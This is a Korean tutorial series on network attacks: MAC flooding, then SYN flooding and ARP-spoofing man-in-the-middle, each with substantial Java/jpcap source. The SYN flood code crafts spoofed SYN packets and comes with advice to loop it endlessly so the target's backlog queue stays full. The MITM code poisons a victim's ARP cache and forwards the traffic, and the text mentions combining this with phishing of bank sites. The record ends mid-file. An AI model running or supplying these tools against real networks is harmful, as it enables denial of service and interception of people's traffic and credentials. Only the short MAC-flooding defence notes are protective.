스위치 해킹 
작성자 : 유창훈
스위치 해킹을 하려면 당연히 스위치의 보안취약점을 알아야 합니다. 
기본적인 스위치에 대한 것은 알고 있다고 생각하고 글을 쓰겠습니다. 


오늘은 스위치 의 취약점 중 하나인  mac flooding에 관해 알아보도록 하겠습니다. 

1. mac flooding
허브에서 스위치로 넘어오면서 가장눈에 띄게 달라진점은 스위치의 각 포트들은 독립적으로 자신의 대역폭을 보장받고 독립적으로 통신하게 끔 되었다는 것입니다. 네트워크 대역폭이 shared가 아니라 dedicated가 되었다는 것이고 스니핑이 짜증나졌다는것이죠. 허브땐 그냥 허브에 연결되어있으면 그냥 스니핑되었는데, 스위치는 스위치 안에 포트별 맥주소가 맵핑되어있는  mac table을 가지고있어, 이 table을 기준으로 데이터를 전달합니다. 다른 포트로의 포워딩을 막게끔되었습니다.

따라서 스니핑을 위해서 mac table을 무력화시켜야합니다. 같은네트웍인데 스위치에 달려있다고 스니핑 못하면 억울하니까요.  
그래서 나온방법이 mac flooding입니다. mac table의 용량 한계를 넘기도록 많은 mac주소를 발생시켜서 mac table이 뻗어버리게 합니다. 그럼 스위치가 허브처럼됩니다. 공격포인트는 바로 스위치가 가진 mac table 을 계속 채워서 더이상 mac table의 저장공간이 부족하게 끔 만드는 것입니다.  그러면 더이상 특정 포트로만 패킷을 포워딩하지 않고 모든 포트로 패킷을 포워딩 하게 됩니다. 
간단하지요???

리눅스에 macof라는 툴이 있습니다. 명령어도 간단하게 macof인데요 . 듣보잡 tcp패킷 막만들어서  ethernet해더에 source 와 destination 주소에 아무맥주소나 막집어넣어서 내보냅니다.   그냥 묻고따지고 그런 거 없이내보내기만 합니다. 
어떻게하든 스위치에만 전달되면 되는 것이니까요. 


웃긴건 그래도 IP header에 tcp 틀 까지는 붙였다는 것입니다. 의문점은 ip header에 꼭 ip주소까지 다 셋팅해서 보내야 스위치에서 mac table에 등록하는것인가 하는 점입니다. 뭐 해보진 않았지만 ARP 인사 패킷이나, 좀더 줄일 수 있는 방법이 없나 테스트 해봐야겠습니다. 
여튼, 요런 식으로 맥주소를 막 바꿔가면서 스위치로 보내면, 스위치가 뻗어서 스위치 역할을 못한다는 것이지요. 

이건 굳이 소스 구현하지 않겠습니다. 너무 간단한거라, ..

이러한 공격에 대한 방어법으로는 스위치에서 다음과 같은 셋팅을 해 놓는 겁니다. 
1. 해당포트를 스테틱하게 지정해놓기 :  근데 이건 서버측 과같은 잘 안바뀌는 맥주소에다가 지정해놓습니다
2. 포트별로 mac 주소 할당가능한 갯수 지정해놓기, 

위와 같이 셋팅을 해 놓게 되면 공격이 들어왔거나, 맥주소가 바뀌었을때, 포트가 다운되게 됩니다. 관리자가 up시키지 전까지는 계속 다운상태입니다. 

따라서 환경에 따라 다르게 셋팅하여야합니다. 무조건 한개의 포트 와 하나의 맥주소는 바른정책이라고 할 수 없습니다. 







AND

작성자 : 유창훈

기본적인 이해는 다음을 참고해 주시기 바랍니다. 


간단하게 말하자면, 시스템 연결을 위해 3way handshaking과정 진행 중에 사용하는 백로그 큐 라는 공간을 다 사용해 버려서  정상적인 세션의 연결이 이루어 지지 않도록 하는 공격입니다. 

3way hand shaking은 다음과 같은 과정을 이루게 되는데
 


첫번째 Syn이 서버에게 가면 서버가 Syn에 대한 내용을 자신의 "백로그큐"에 넣어넣고 Syn/ACk를 응답합니다. 그리고 기다립니다.  ACK가 올때까지!! 근데 안오면 계속 백로그 큐에 일정시간(75초)동안 존재하다가 사라집니다. 

마지막에 ACK를 응답해 줄 수 없도록 공격자는 SYN 패킷 발송시 source IP주소를 인터넷 상에 존재하지 않는 IP주소로 셋팅하여 서버에게 보내게 되면 서버는 SYN/ACK를 응답하고 ACK가 올때까지 기다리게 되는것입니다. 
요때 공격자는 다시 source IP 가 조작된 SYN 패킷을 보내게 되고 서버는 또기다리고 , 공격자는 또보내고 계속보내고 하다보면 서버의 백로그큐 공간은 다 차 버리게 되어서 공격자가 SYN 패킷으로 공격한 해당 서비스는  서비스를 할 수 없는 상태에 이르게 됩니다. 

이것이 공격 SYN FLOODING입니다. 

아주 간단하게 구현 가능하며, 다만 TCP CheckSum 값을 위해 TCP에서는 가짜헤더라는 개념이 등장하게 됩니다. 

 
공격자가 조작하는 Source IP는 고정적이든 랜덤적이든 상관없이, 서버의 백로그만 가득 채우면됩니다. 

TCP checksum을 계산하기 위해서는 pseudo header라는 것이 필요합니다. pseudo header는 TCP의 checksum을 계산하기 위해서 필요한 추가적인 데이터로 다음과 같은 정보를 포함하게 되는데요 정보는 다음과 같습니다. 

  • Source address: IP 헤더의 source address에서 추출
  • Destination Address: IP 헤더의 dest address에서 추출
  • Reserved: 나중을 위해서 예약된 필드(0×00)
  • Protocol: IP헤더의 Protocol에서 추출
  • TCP Segment length: TCP header + data의 길이

TCP checksum필드를 0×00으로 채워 넣은뒤 pseudo header + TCP header + DATA의 Checksum을 계산하면 TCP의 checksum 값을 구할 수 있습니다.

소스는 조금있다 밤중에  올리도록 하겠습니다. 






작성자 : 유창훈

업로드가 좀 늦어졌네요. 바로 설명들어가겠습니다. 
지난번에 올린 Synflooding 설명을 보셨으면 알고리즘은 이해가 가실겁니다. 

한가지 확실하게 알아 두실것은 , 백로그 큐를 지속적으로 꽉 차게 해서 한치의 서비스 허용도 불가하게 만드시려면 짧은시간간격으로 루프를 돌리셔서 계속 공격해야 합니다 . 한번에 5초동안 1000개 패킷보내서 큐  다채웠다 하고 손놓고 있으면 이 공격은 통하지 않습니다. 

======================================================================================

소스 구성은 다음과 같습니다. 
synflood.java : 인터페이스 설정과, ARP request패킷 송신
dump.java     :  패킷 캡쳐시 필터링과 Syn 패킷 송신
Dump_for_thread.java : 패킷 캡쳐와 송신을 동시에 하기 위한 스레드 작업
ck.java          :  checksum  


동작 순서

1. 입력은 커맨드 환경으로  동일 네트워크에서는  '타켓IP'와 '포트번호' 만을 입력하면되고 
원격지의 타겟에대해서는 '타켓IP' 와  '게이트웨이IP'  와 '포트번호' 를 입력받는다. 

2.  커맨드에서 입력받은 인자의 갯수로 타겟의 위치가 동일 네트웍인지 원격지인지 판단한다.
     동일네트웍 안의 공격대상이 있으면 타겟 IP주소를 대상으로   ARP request를 보내고 원격지에 공격대상이 있으면 게이트웨이IP를 대상으로   ARP request를 보낸다. 

3. 응답받은 맥주소를 destination Mac address로 해서 공격자가 지정한 IP 와 포트로  Syn  flag가 셋팅된 패킷을 보낸다. 

======================================================================================

네트워크 공격이란게, 이렇게 흐름만 보면 어려운것은 없습니다. 하지만 진짜 내가 원하는 방향으로 흘러가게끔 만들기 위해서는 패킷의 비트단위로 구성요소를 잘 알아야 하는것 같습니다. 

저도 이번 소스를 하면서 배웠는데요, 
Synflooding attack에서 꼭  신경써서 조작해 주어야 하는 부분은 패킷 포멧중 어디일까요? 
이 공격은 기본적으로 TCP 포멧입니다. 

======================================================================================
소스에 앞서 필드 설명부터 간단히 해보겠습니다. 

ether header에서는 로컬이냐 원격지냐에따라서 목적지 mac주소만 잘 적어주면되고

IP에서는 
ID?   flagmentaion이 이루어지지 않았으니까, 신경쓰지 않으셔도 됩니다. 
                 
total length? >  IP header + IP data(TCP header+TCP data)      이것만 맞춰서 초기 배열생성시 알맞은 크기로 지정하면됩니다
             
ttl 은 기본적으로 바꾸어주시구요
             
Protocol부분은 당연 TCP인 6번으로 바꾸시면됩니다 

 checksum은  메소드로 만들어 계속  불러와 쓸 수 있도록 만들어놓으세요. 저는 메소드 인자로 채크섬에 들어갈 배열 이름과 크기를 지정했습니다. 그래서 채크섬 메소드를 불러오기전에 채크섬에 들어갈 목록들을 배열로 따로 지정해놓는 방법을 택했습니다. 소스 보면서 참고하세요

TCP에서는  헷갈리는 부분이 있는데, 중요한 것입니다 
Source port : 이것을 계속 증가시켜 주어야 합니다 well known port는 서비스를 제공하는 쪽이니까 기왕이면  source port 2바이트중 첫번째 바이트를 증가시켜 256의 배수로 증가되게 해줍니다 . 명심하세요.    source포트는 패킷 하나 마다 각각 달라야 합니다 그래야 공격 대상에서 백로그 큐에 쭉 올리게 됩니다 

destination port : 당연 공격자가 콘솔에서 입력한 공격대상 포트가 지정될 수 있게 셋팅

sequence & ack  number : 헷갈리는 부분인데, 지금 공격은 단방향 일회성 패킷을 사용한  반복 공격이기 때문에 sequence와 ack number 필드는 신경쓰지 않으셔도 됩니다. 그냥 전 0으로 셋팅.

Header Length(4bit) + Reserve(6bit) + Flags(4bit)   :  이 2바이트 필드에서 header Length는 4bit로서 IP headerLength와 같이 셋팅된 4bit값에 5배수에 해당하는 값이 TCP header  length고 이로 인해서 TCP data의 위치를 알 수 있어    data offset이라고 합니다 
또한 reserve(6bit) 필드는 0으로 냅두고 우리가 가장 신경써야한 flags 필드 4자리 중 오른쪽에서 2번째 자리의 값을 1로 셋팅합니다 이것이 SYN flag 셋팅!!!!

windows사이즈는 기본 512로 놔둡니다. 

checksum은  이전에 올렸던 글을 참고하시면 가짜헤더 +  TCP header 해서 채크섬 메소드에 집어넣으면 값이 나옵니다. 

마지막으로 urgent point가 있는데 이것은 urgent flag가 셋팅되어있을 시 참고하는 offset으로써 우리가 사용하는 flag와는 상관없으므로 0으로 셋팅

======================================================================================
소스 
-------------synflood.java--------------------------------------------------------------------------------------------------------------
/*   
 * This is Version 1.0   
 *  1. Source IP is STATIC. not a Rand-source............ if you want rand-source..... wait... V2.0 or use hping!
 *  2. Interver is u1000  ..STATIC
 *  3. Command Format :
 *   Same Network         : synflood <TatgetIP> <portnumber>
 *     Different Network : synflood <TargetIP> <GatewayIP> <portnumber>
 *                                                                                                                 by 유창훈       
 */

import java.util.Scanner;
import jpcap.*;
import java.net.URL;
import java.util.Arrays;

import jpcap.packet.*;
import java.net.InetAddress;

import jpcap.NetworkInterfaceAddress;

//import javax.swing.*;
public class synflood {
public static byte[] gwMac = new byte[6];  //게이트웨이 맥주소
public static byte[] TarMac = new byte[6]; //target 맥주소
public static byte[] myMac = new byte[6];  //공격자 맥주소
public static int arg=0;   //공격자가 명령수행시 입력한 인자갯수 저장
public static byte[] GwIp = new byte[6];  //게이트웨이 IP
public static byte[] TarIp = new byte[6]; //target IP
public static int device=0;  //공격자의 인터페이스 번호저장
public static int numP=0;    //공격자가 명령수행시 지정한 포트번호
public static int once=0;  //정보수집이 끝나고 syn공격시작을 알리는 flag, 
// 0이면 정보수집 미완료 1이면 정보수집완료, 공격시작,   2이면 공격 끝
public static void main(String[] args) throws java.io.IOException {
if (args.length !=2 && args.length !=3) {
System.out.println("Usage: 'java synflood <TargetIP> <portNumber> 'or   'java synflood <TargetIP> <GatewayIP> <portNumber>' ");
System.exit(0);
} else {

arg=args.length;
// Jpcap initstatic
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
// list display
for (int i = 0; i < devices.length; i++)
System.out.println(i + ":" + devices[i].name + "("
+ devices[i].description + ")");

// select interface
System.out.print("\n=================================\nSelect Your Network Interface => ");
Scanner scan = new Scanner(System.in);
device = scan.nextInt();
//get My IP  & MAC  auto,...
byte[] myIp = new byte[4];
myMac = new byte[6];
for (NetworkInterfaceAddress a : devices[device].addresses){
InetAddress intaddr = a.address;
System.out.print("\n Getting Your  IP and MAC\n ");
myIp = intaddr.getAddress();
myMac = devices[device].mac_address;
break;                       ////just one time 
}
// capture start
// 일단 캡쳐스레드를 먼저 돌려놓고  타겟 or gw의 맥주소를 얻기 위해  arp request패킷을 보낸다.
Dump_for_thread t = new Dump_for_thread();
Thread thd1 = new Thread(t);
thd1.start();
try {        //just wait.. because interval..no reasonrseinInt
      Thread.sleep(2 * 1000);
    } catch (InterruptedException e) { }
    
  //Target IP setting 
    TarIp = InetAddress.getByName(args[0]).getAddress();

    //입력 인자갯수에따라 변수 다르게 지정
    if(arg==2)  
    {
    
     String str = args[1];
     numP = Integer.parseInt(str);
    }
    
    
    if(arg==3)  
    {
     GwIp = InetAddress.getByName(args[1]).getAddress();
     String str = args[2];
     numP = Integer.parseInt(str);
    }
    
       
 
    //ARP request 패킷 보내기 
        // sender init
JpcapSender sender = JpcapSender.openDevice(devices[device]);
// make raw packet
Packet sendPack = new Packet();
byte pb[] = new byte[64];
// Dst Mac
pb[0] = (byte)0xff;
pb[1] = (byte)0xff;
pb[2] = (byte)0xff;
pb[3] = (byte)0xff;
pb[4] = (byte)0xff;
pb[5] = (byte)0xff;
// Src_Mac

pb[6] = myMac[0];
pb[7] = myMac[1];
pb[8] = myMac[2];
pb[9] = myMac[3];
pb[10] = myMac[4];
pb[11] = myMac[5];
// Ether Type(byte)(cksum(IPHeader,((pb[14] & 0x0f) * 4))>>8);
pb[12] = (byte) 0x08;
pb[13] = (byte) 0x06;
////////////////////////////////////////////////////////////         ARP
// Hardware type
pb[14] = (byte) 0x00;
pb[15] = (byte) 0x01;
// Protocol Type//
pb[16] = (byte) 0x08;
pb[17] = (byte) 0x00;
// Hardware address size = Hardware length(Hlen) = Mac address size
// = 6byte
pb[18] = (byte) 0x06;
// Porotocol size= ip address size = 4byte
pb[19] = (byte) 0x04;
// opcode Request = 1, reply =2
pb[20] = (byte) 0x00;
pb[21] = (byte) 0x01;

// sender hardware address
pb[22] = myMac[0];
pb[23] = myMac[1];
pb[24] = myMac[2];
pb[25] = myMac[3];
pb[26] = myMac[4];
pb[27] = myMac[5];

// sender IP address
pb[28] = myIp[0];
pb[29] = myIp[1];
pb[30] = myIp[2];
pb[31] = myIp[3];
// Target Hardware address
pb[32] = 0;
pb[33] = 0;
pb[34] = 0;
pb[35] = 0;
pb[36] = 0;
pb[37] = 0;
// target Ip address   인자가 두개 즉, 타겟IP와 port번호일때는 target로 ARP보냄
if(arg==2)
{
pb[38] = TarIp[0];
pb[39] = TarIp[1];
pb[40] = TarIp[2];
pb[41] = TarIp[3];
}
// target Ip address   인자가 세개 즉, 타겟IP와 gwIP 와 port번호일때는 gw로 ARP보냄
if(arg==3)
{
pb[38] = GwIp[0];
pb[39] = GwIp[1];
pb[40] = GwIp[2];
pb[41] = GwIp[3];
}
sendPack.data = pb;
sender.sendPacket(sendPack);
sender.close();
}
}
}
-------------dump.java-----------------------------------------------------------------------------------------------------------------
import java.io.IOException;

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.PacketReceiver;
import jpcap.packet.Packet;
import jpcap.NetworkInterfaceAddress;

class dump implements PacketReceiver
{
public void receivePacket(Packet p) 
{
//캡쳐된 패킷은 bytes라는 배열에 저장
byte[] bytes = new byte[p.header.length + p.data.length];
System.arraycopy(p.header, 0, bytes, 0, p.header.length);
System.arraycopy(p.data, 0, bytes, p.header.length, p.data.length);
//아까 위에서 캡쳐 스레드를 먼저 돌려놓고 기다리다가  인자갯수가 2(targetIP, portN) 일때 target //으로 부터 오는 arp REPLY를 잡아서 target의 MAC주소를 저장한다
if (synflood.arg==2 &&
bytes[28] == (byte)synflood.TarIp[0] &&
bytes[29] == (byte)synflood.TarIp[1] &&
bytes[30] == (byte)synflood.TarIp[2] &&
bytes[31] == (byte)synflood.TarIp[3] &&
bytes[21] ==(byte)0x02)
{
System.out.print("\n Getting the Target MAC\n ");
synflood.TarMac[0]=bytes[22];
synflood.TarMac[1]=bytes[23];
synflood.TarMac[2]=bytes[24];
synflood.TarMac[3]=bytes[25];
synflood.TarMac[4]=bytes[26];
synflood.TarMac[5]=bytes[27];
synflood.once=1;                //정보수집이 끝나고 syn공격시작을 알리는 flag
}
//마찬가지로 인자 갯수가 3개(targetIP, gatewayIP , port N)일때 gw로 부터 오는 ARP REPLY를 
//잡아서 gw의 MAC주소 저장
if (synflood.arg==3 &&
bytes[28] == (byte)synflood.GwIp[0] &&
bytes[29] == (byte)synflood.GwIp[1] &&
bytes[30] == (byte)synflood.GwIp[2] &&
bytes[31] == (byte)synflood.GwIp[3] &&
bytes[21] ==(byte)0x02)
{
System.out.print("\n Getting the gateway MAC\n ");
synflood.gwMac[0]=bytes[22];
synflood.gwMac[1]=bytes[23];
synflood.gwMac[2]=bytes[24];
synflood.gwMac[3]=bytes[25];
synflood.gwMac[4]=bytes[26];
synflood.gwMac[5]=bytes[27];
synflood.once=1;
}

///정보수집 완료되었으면 공격시작 
if(synflood.once == 1)
{
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
ck c =new ck();
JpcapSender sender = null;
try {
sender = JpcapSender.openDevice(devices[synflood.device]);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// make raw packet
Packet sendPack = new Packet();
//패킷 크기 54byte  , IP 구성 필드에서 total length가 40, 즉 , 40 + ether header (14) 는 54임
byte pb[] = new byte[54];
// Dst Mac
pb[0] = synflood.gwMac[0];
pb[1] = synflood.gwMac[1];
pb[2] = synflood.gwMac[2];
pb[3] = synflood.gwMac[3];
pb[4] = synflood.gwMac[4];
pb[5] = synflood.gwMac[5];
// Src_Mac

pb[6] = synflood.myMac[0];
pb[7] = synflood.myMac[1];
pb[8] = synflood.myMac[2];
pb[9] = synflood.myMac[3];
pb[10] = synflood.myMac[4];
pb[11] = synflood.myMac[5];
// Ether Type(byte)(cksum(IPHeader,((pb[14] & 0x0f) * 4))>>8);
pb[12] = (byte) 0x08;
pb[13] = (byte) 0x00;
////////////////////////////////////////////////////////////           IP
// Header Ver, Length
pb[14] = (byte) 0x45;
//TOS
pb[15] = (byte) 0x00;
// Total Length       
pb[16] = (byte) 0x00;
pb[17] = (byte) 0x28;
// ID
pb[18] = (byte) 0xd3;
pb[19] = (byte) 0xc8;
// Flags, Fragment offset
pb[20] = (byte) 0x00;
pb[21] = (byte) 0x00;
//TTL
pb[22] = (byte) 0x80;
//Protocol tcp 6 udp 17
pb[23] = (byte) 0x06;
//Header Checksum
pb[24] = 0;
pb[25] = 0;
//source IP
pb[26] = (byte)0x64;
pb[27] = (byte)0x64;
pb[28] = (byte)0x64;
pb[29] = (byte)0x64;
//Dst IP
pb[30] = synflood.TarIp[0];
pb[31] = synflood.TarIp[1];
pb[32] = synflood.TarIp[2];
pb[33] = synflood.TarIp[3];
byte IPHeader[] = new byte[20];
for(int i=0; i<((pb[14] & 0x0f) * 4); i++)
IPHeader[i] = pb[i+14];
pb[24] = (byte)(c.cksum(IPHeader,((pb[14] & 0x0f) * 4))>>8);
pb[25] = (byte)(c.cksum(IPHeader,((pb[14] & 0x0f) * 4)));
////////////////////////////////////////////////////////  TCP
//source port
pb[34] =  0;
pb[35] =  0;
//des port
pb[36] = (byte)((synflood.numP & 0x0000ff00)>>8) ;
pb[37] = (byte)((synflood.numP & 0x000000ff));
//Sequence Number
pb[38] = 0;
pb[39] = 0;
pb[40] = 0;
pb[41] = 0;
//ack number
pb[42] = 0;
pb[43] = 0;
pb[44] = 0;
pb[45] = 0;
//Header Length(4bit) + Reserve(6bit) + Flags(4bit) 
pb[46] = (byte)0x50;     // 0101 000000 0010          =  header(5)  , reserve(0), Synflag(2)         
pb[47] = (byte)0x02;      //Syn flag 채크
//Windows size
pb[48] = (byte)0x02;
pb[49] = (byte)0x00;
//checksum
pb[50] = 0;
pb[51] = 0;
//urgent pointer
pb[52] = 0;
pb[53] = 0;
//Checksum      채크섬 함수로 넘기기 위한 배열선언
byte TCPHeader[] = new byte[32];

//pesudo header을 위한 셋팅     가짜 헤더 구성요소는 이전 글 참고 
for(int i=0; i<8; i++)
{
TCPHeader[i] = pb[i+26];
}
TCPHeader[8]=(byte)0x00;       
TCPHeader[9]=pb[23];
TCPHeader[10]=0;
TCPHeader[11]=(byte)0x14;
/////////////////////////////////  요기가지가 가짜 헤더
///////////  여기부터 TCP해더 정보를 채크섬 메소드를 위해 생성된 배열에 저장하는 부분
for(int i=0; i<20; i++)
{
TCPHeader[12+i]=pb[34+i];
}

 /////////패킷 송신부분! 256번만 루프 돌았음 즉, 256개만 쭉 보내고 끝냈음
//// 진짜 공격을 위해서는 0.001 초에 한번씩 패킷을 보내는 무한 루프를 걸어주면됨, 
// 슬립걸고 간격조정하면 됨여기선 그냥 256개만 보내고 원격지 컴퓨터에서 netstat -an 으로 테이블 확인
//했음

for (int i = 0; i < 256; i++)
{
/// 중요한 공격자가 소스포트를 변경시켜가며 공격하는 부분
pb[34]= (byte)i;
// 채크섬메소드에도 넘겨줘야하기때문에 
TCPHeader[12]=(byte)i;

pb[50]=(byte)(ck.cksum(TCPHeader,32) >>8);
pb[51]=(byte)(ck.cksum(TCPHeader,32));
sendPack.data = pb;
sender.sendPacket(sendPack);
}
sender.close();
synflood.once=2;
}
}
}
-------------dump_for_thread.java---------------------------------------------------------------------------------------------------
import jpcap.*;
import java.io.IOException;


public class Dump_for_thread implements Runnable{
public void run(){
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
JpcapCaptor jpcap = null;
try {
jpcap = JpcapCaptor.openDevice(devices[0], 2000, true, 1);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
jpcap.loopPacket(-1, new dump());
}
}

-------------ck.java---------------------------------------------------------------------------------------------------------------------
/// 채크섬 메소드는 이전 글에서 소스 설명해놓은게 있음 ..그거 참고하세요
//단순히 기존에 제가 예전에 구현한 소스를 메소드화 시켰을 뿐입니다. 

public class ck {

public static short cksum(byte[] buf, int len) {

int sum = 0;
int x = 0;
int cmask = 0xffff0000;
byte temp = 0;
short CK = 0;

for (int i = 0; i < len; i++) {
sum = (((int) buf[i]) << 8) & 0xFF00 | ((int) buf[i+1])&0xFF;
x = x + sum; 
i += 1;
}
temp = (byte) ((x & cmask) >> 16);
CK = (short) ~(x + temp);
return CK;
}
}

이상으로 소스 설명을 마치겠습니다.  영어와 한글로 주석이 있으니 참고하시구요
궁금하신부분은 질문주세요

프로그램 보완해야할 점
: 1. 커맨드 입력환경에서 인자갯수로 공격대상자가 로컬인지 원격지인지를 구별하는 과정. 
2. 인자의 입력시, 단순 띄어쓰기 로 구분하였는데, 옵션 플레그를 추가해야함
3. 무한반복구현시 , time interval 을 조절할 수 있도록 하는 부분 


AND

작성자 :  유창훈
오늘은 중간자 공격에 대해 알아보겠습니다. 


요렇게 통신되던걸 
 

요렇게 바꾸어주는 것입니다. 

중간자 공격 유형은 아래와 같이 두가지 방법이 있습니다. 
1. 공격을 Host A만 해서 HostA 에서 오는 패킷들은 모두 공격자를 지나가고 외부에서 들어오는 패킷은 건드리지 않기
2. 공격을 Host A와 Gateway둘다 해서 HostA에서 외부로 나가고 , Gateway에서 Host A로 들어오는 모든 패킷 잡기.




원리는 간단합니다. Arp Spoofing을 통해 희생자가 가지고있는 게이트웨이의 맥주소를 공격자의 맥주소로 바꾸고 희생자가 게이트웨이인줄알고 WAN으로 내보내려고하는 모든 패킷을 공격자가 중간에서  진짜 게이트웨이로 전달만 하는 것입니다. 
반대로 외부로 부터 오는 패킷은 그냥 내버려둬도 상관없습니다. 

아직 다루진 않았지만 세션 하이제킹을 하려면 상호간에 교환되는 패킷을 모두 관찰해야 하지만, 지금 처럼 단방향 MIMA공격도 희생자의 모든 정보를 알아내기에 부족함이 없습니다. 

환경은  로컬네트웍 환경이고, 게이트웨이, 스위치, Host A환경은 다음과 같습니다.  

 


Host A에서 www.google.com으로 ping을 날렸을때,  패킷의 맨처음 6바이트인 Destionation Mac Address에 11:22:33:44:55:66을 채우게 됩니다. 이는 www.google.com의 IP주소가 Host A의 네트워크 주소가아님을 서브넷의 AND연산을 통해 비교 파악하고, 외부로 보내려고 출구인 게이트웨이의 맥주소를 ARP 캐시 테이블에서 찾습니다. 만약  케시테이블에 192.168.1.1에 해당하는 맥주소가 없다면 ARP request를 통해 맥주소를 얻어오게 됩니다. 


근데 중간자  공격은 ,공격자가 마치 게이트웨이인양  Host A에게 자신을 속이는 것으로 시작합니다. 즉, 보내지도 않은 ARP request패킷을 마치 Gateway가 reply해준것 처럼 지속적으로 속이는 패킷을 보냅니다. 

 

ARP reply 패킷에 Sender IP는게이트웨이 192.168.1.1 을, Sender Mac address는 공격자의 aa:aa:aa:aa:aa:aa
를 1-2초에 한번씩 지속적으로 보냅니다 . 로컬네트웍안에서 Host A는 외부로 나가는 모든 패킷을 공격자로 보내게 됩니다.
공격자는 지속적으로 들어오는 패킷을 감시하고있다가 Destnation Mac address가 aa:aa:aa:aa:aa:aa(공격자) 이고 Source Mac Address가 55:55:55:55:55:55(Host A)인 모든 패킷의 Destnation Mac Address를 11:22:33:44:55:66(Gateway)로 Source Mac Addres를 aa:aa:aa:aa:aa:aa(공격자)로 바꾸어 내보냅니다. 

패킷을 받은 라우터는 정상적으로 패킷을 수신해서 WAN으로 전달하고 google.com에서 전달받은 응답패킷들은 정상적인 경로인, Host A로 바로 보내게 됩니다. 

이상 단방향 MIMA 공격이었습니다. 
이러한 단방향 공격의 변형유형중 하나가 예전에 유행했던 피싱사이트와의 결합입니다. 
예를 들어 네이버, 금융권 사이트를 공격자 자신의 PC에서 웹서비스를 동작시키고 특정 개인정보를 유도할 수 있겠습니다. 

같은 원리로 라우터까지 속이게 되는   양방향 MIMA 공격에서는  서버로부터의 응답까지 스니핑이 가능하기 때문에 요즘들어 특정 확인을 요구하는 서버측의 웹페이지같은 경우 실제 사용자의 동의 없이도 조작이 가능하기도 합니다. 
---------------------------------------------------------------------------------------------------------------------
소스는 다음과 같습니다. 
구성 : mima.java                   :  네트워크 인터페이스 선택 및 변수정의 및 초기화 &
dump.java                   :  초기 타겟의 mac주소 획득 및,  포워딩(sending포함)작업
send.java                    :  2초에 한번씩 조작된 Arp Reply 패킷생성 및  보내기
thread_for_dimp.java  :  Dump 스레드 동작
thread_for_send.java  : 2초에 한번씩 보낼때 사용되는 send 메소드의 스레드 동작

동작 순서는 다음과 같습니다. 
1. 네트워크 인터페이스 선택
2. 공격자 자신의 IP, MAC , 게이트웨이의 IP, Mac저장
3. Dump, 및 Send 쓰레드 동작
4. 타겟시스템으로 정상적인 Arp request를 보냄으로써, 타겟의 Mac주소 획득
5. 쓰레드로 동작되고있는 send메소드에서 타겟의 mac주소가 획득되면 state 를 1로 셋팅
6. state가 1일 때부터 조작된 Arp reply를 2초간격으로 무한반복으로 보냄
6. 쓰레드로 동작되고있는 dump메소드에서 이더넷헤더를 지속적으로 감시하며 포워딩작업수행




=========================mima.java============================================

import java.util.Arrays;
import java.util.Scanner;
import jpcap.*;
import jpcap.packet.*;

import java.net.InetAddress;
import java.net.URL;

public class mima {
public static int device=0;                                    //네트워크 디바이스 번호
public static byte[] myIp = new byte[4];        //공격자 IP
public static byte[] myMac = new byte[6];   //공격자 mac
public static byte[] TarIp = new byte[4]; //희생자 ip
public static byte[] TarMac = new byte[6];   //희생자 mac
public static byte[] gwIp = new byte[4];   //gateway ip
public static byte[] gwMac = new byte[6];  //gate Mac
public static int state=0;     //   0=희생자의 mac주소획득전(정상)
//    1= 희생자의 mac주소 획득 후 ( 공격시작을 알림)
public static void main(String[] args) throws java.io.IOException {
if (args.length < 2 | args.length>2) {
System.out.println("Usage: java mima <Target_IP > <Gateway_IP>");    //입력형식
System.exit(0);
} else {

// Jpcap initstatic
NetworkInterface[] devices = JpcapCaptor.getDeviceList();

// list display
for (int i = 0; i < devices.length; i++)
System.out.println(i + ":" + devices[i].name + "("
+ devices[i].description + ")");

// select interface
System.out.format("==========================\n Select Your Network Interface =>  ");
Scanner scan = new Scanner(System.in);
device = scan.nextInt();
if (device < 0 | device>devices.length) {
System.out.println("Please select the correct DEVICE");
System.exit(0);
else {
//get target IP
TarIp = InetAddress.getByName(args[0]).getAddress();
//get gateway  IP
gwIp = InetAddress.getByName(args[1]).getAddress();
/////////////////////  Get the gateway mac....auto.......... 
JpcapCaptor captor=JpcapCaptor.openDevice(devices[device],2000,false,5000);
InetAddress pingAddr=InetAddress.getByName("www.google.com");
captor.setFilter("tcp and dst host "+pingAddr.getHostAddress(),true);
gwMac=null;
while(true){
new URL("http://www.google.com").openStream().close();
Packet ping=captor.getPacket();
if(ping==null){
System.out.println("cannot obtain MAC address of default gateway.");
System.exit(-1);
}else if(Arrays.equals(((EthernetPacket)ping.datalink).dst_mac,devices[device].mac_address))
continue;
gwMac=((EthernetPacket)ping.datalink).dst_mac;
break;
}
//get My IP  & MAC  auto,...
for (NetworkInterfaceAddress a : devices[device].addresses){
InetAddress intaddr = a.address;
myIp = intaddr.getAddress();
myMac = devices[device].mac_address;
break;                       ////just one time 
}
// capture start
thread_for_dump t_d = new thread_for_dump();
Thread th_d = new Thread(t_d);
th_d.start();
try {        //just wait.. because interval..no reason
      Thread.sleep(1 * 1000);
    } catch (InterruptedException e) { }
    
thread_for_send t_s = new thread_for_send();
Thread th_s = new Thread(t_s);
th_s.start();
   
}
}
}
}
===================== dump.java ===============================================
import java.io.IOException;

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.PacketReceiver;
import jpcap.packet.Packet;

class dump implements PacketReceiver
{
public void receivePacket(Packet p) 
{
byte[] bytes = new byte[p.header.length + p.data.length];
System.arraycopy(p.header, 0, bytes, 0, p.header.length);
System.arraycopy(p.data, 0, bytes, p.header.length, p.data.length);

//////희생자의 Mac주소 획득
if(mima.state == 0 && bytes[21] == (byte)0x02 && 
bytes[28] ==mima.TarIp[0] && bytes[29] ==mima.TarIp[1] &&bytes[30] ==mima.TarIp[2] &&bytes[31] ==mima.TarIp[3])
{
mima.TarMac[0]=bytes[6];              
mima.TarMac[1]=bytes[7];
mima.TarMac[2]=bytes[8];
mima.TarMac[3]=bytes[9];
mima.TarMac[4]=bytes[10];
mima.TarMac[5]=bytes[11];
mima.state = 1;               ///     희생자의 mac주소 획득을 알리는 변수 1 = 획득
}
if (mima.state ==1 &&        //스푸핑된 패킷을 포워딩하는 작업 = 이더넷 헤더정보 변경
mima.myMac[0] ==bytes[0] &&
mima.myMac[1]== bytes[1] &&
mima.myMac[2]==bytes[2] &&
